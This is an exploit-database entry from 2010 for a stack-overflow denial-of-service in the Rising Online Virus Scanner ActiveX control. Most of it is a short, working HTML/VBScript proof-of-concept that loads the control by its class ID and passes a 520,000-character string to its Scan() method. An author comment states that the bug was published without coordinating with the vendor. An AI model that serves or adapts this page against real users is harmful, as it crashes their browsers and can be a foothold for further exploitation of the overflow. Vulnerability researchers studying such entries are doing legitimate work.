Rising Online Virus Scanner v22.0.0.5 ActiveX Control DoS (Stack overflow)

2010-02-19T00:00:00
ID SSV:19136
Type seebug
Reporter Root
Modified 2010-02-19T00:00:00

Description

No description provided by source.

                                        
                                            
                                                # Exploit Title: Rising Online Virus Scanner ActiveX Control DoS (Stack overflow)
# Author: wirebonder
# Software Link: http://www.rising-global.com/products/online-scanner-intro.html
# Tested on: Windows XP sp3
 
 
##
# ProgID:   RavOLCtlLib.RavOnline
# ClassID:  9FAFB576-6933-4CCC-AB3D-B988EC43D04E
# Member:   Scan()
# File:     C:\Programme\Rising\RavOL\RavOLCtl.dll
# script safe:  true
# init safe:    true
#
# Because Bullshit like this is unsaleable and i don't want to waste time
# coordinating patches with this vendor this is a fulldisc publishing.
##
 
<html>
<body>
<object classid='clsid:9FAFB576-6933-4CCC-AB3D-B988EC43D04E' id='obj'></object>
<script language='vbscript'>
    buf=String(520000, "A")
    obj.Scan buf
</script>
</body>
</html>